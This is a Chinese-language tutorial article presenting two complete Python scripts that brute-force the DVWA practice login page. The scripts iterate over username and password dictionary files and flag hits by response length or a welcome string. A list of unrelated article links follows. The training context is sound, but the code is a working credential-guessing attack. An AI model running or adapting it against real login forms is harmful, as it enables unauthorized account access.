Python破解网站登录密码脚本

 更新时间:2022年01月14日 09:45:29   作者:陈程  
这篇文章主要为大家介绍一个简单的Python暴力破解网站登录密码脚本,文中的过程讲解详细,对我们学习Python有一定的帮助,感兴趣的可以学习一下

测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级

关键代码解释

url指定url地址

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"

header设置请求头

header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}

payload设置请求参数

payload = {'username':username,'password':password,"Login":'Login'}

这一行的作用是作一次get请求,响应信息被变量Response接收

Response = requests.get(url,params=payload,headers=header)

这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解

这种方式和burp的Intruder模块的Cluster bomb攻击方式一样

for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):

然后把循环结果存放到csv文件里,用逗号分割数据

Response.status_code是响应的http状态码,len(Response.content)是http响应报文的长度

result = str(Response.status_code) + ',' + username + ','\
  + password + ',' + str(len(Response.content))
f.write(result + '\n')

完整代码

方法一

登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        result = str(Response.status_code) + ',' + username + ','\
            + password + ',' + str(len(Response.content))
        f.write(result + '\n')
        
        print('\n完成')

运行结果

运行

这就是脚本发送的数据包

查看结果

查看包长度与其他不同的数据,登录测试

方法二

这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里

主要改动在第17到20行

import requests

url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}  #代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}

f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
    for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
        username = admin.strip()
        password = line.strip()
        payload = {'username':username,'password':password,"Login":'Login'}
        Response = requests.get(url,params=payload,headers=header)
        if not(Response.text.find('Welcome to the password protected area')==-1):
            result = username + ':' + password
            print(result)
            f.write(result + '\n')
            
            print('\n完成')

运行结果

到此这篇关于Python破解网站登录密码脚本的文章就介绍到这了,更多相关Python破解网站登录密码内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

相关文章

  • 使用Python从零开始撸一个区块链

    使用Python从零开始撸一个区块链

    对数字货币的崛起感到新奇的我们,并且想知道其背后的技术——区块链是怎样实现的。这篇文章主要介绍了使用Python从零开始撸一个区块链,需要的朋友可以参考下
    2018-03-03
  • Python中requirements.txt简介(推荐)

    Python中requirements.txt简介(推荐)

    Python项目中必须包含一个 requirements.txt 文件,用于记录所有依赖包及其精确的版本号,以便新环境部署,这篇文章主要介绍了Python中requirements.txt简介,需要的朋友可以参考下
    2022-11-11
  • django如何实现视图重定向

    django如何实现视图重定向

    这篇文章主要介绍了django如何实现视图重定向,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
    2019-07-07
  • Python实现自定义Jupyter魔法命令

    Python实现自定义Jupyter魔法命令

    相信大家都用过 jupyter,也用过里面的魔法命令,这些魔法命令都以%或者%%开头。用法还是比较简单的,但是我们能不能自定义魔法命令呢?本文就来教大家如何自定义Jupyter魔法命令
    2022-08-08
  • Python3实现的简单三级菜单功能示例

    Python3实现的简单三级菜单功能示例

    这篇文章主要介绍了Python3实现的简单三级菜单功能,涉及Python用户交互以及针对json格式数据的遍历、读取、判断等相关操作技巧,需要的朋友可以参考下
    2019-03-03
  • Python 把两层列表展开平铺成一层(5种实现方式)

    Python 把两层列表展开平铺成一层(5种实现方式)

    这篇文章主要介绍了Python 把两层列表展开平铺成一层(5种实现方式),具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2021-04-04
  • Python中read()、readline()和readlines()三者间的区别和用法

    Python中read()、readline()和readlines()三者间的区别和用法

    这篇文章主要给大家介绍了关于Python中读取文件的read()、readline()和readlines()方法三者间的区别和用法,需要的朋友可以参考下
    2017-07-07
  • Python 分析Nginx访问日志并保存到MySQL数据库实例

    Python 分析Nginx访问日志并保存到MySQL数据库实例

    这篇文章主要介绍了Python 分析Nginx访问日志并保存到MySQL数据库实例,需要的朋友可以参考下
    2014-03-03
  • 运行tensorflow python程序,限制对GPU和CPU的占用操作

    运行tensorflow python程序,限制对GPU和CPU的占用操作

    今天小编就为大家分享一篇运行tensorflow python程序,限制对GPU和CPU的占用操作,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
    2020-02-02
  • python实现图像全景拼接

    python实现图像全景拼接

    这篇文章主要为大家详细介绍了python实现图像全景拼接,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下
    2020-03-03

最新评论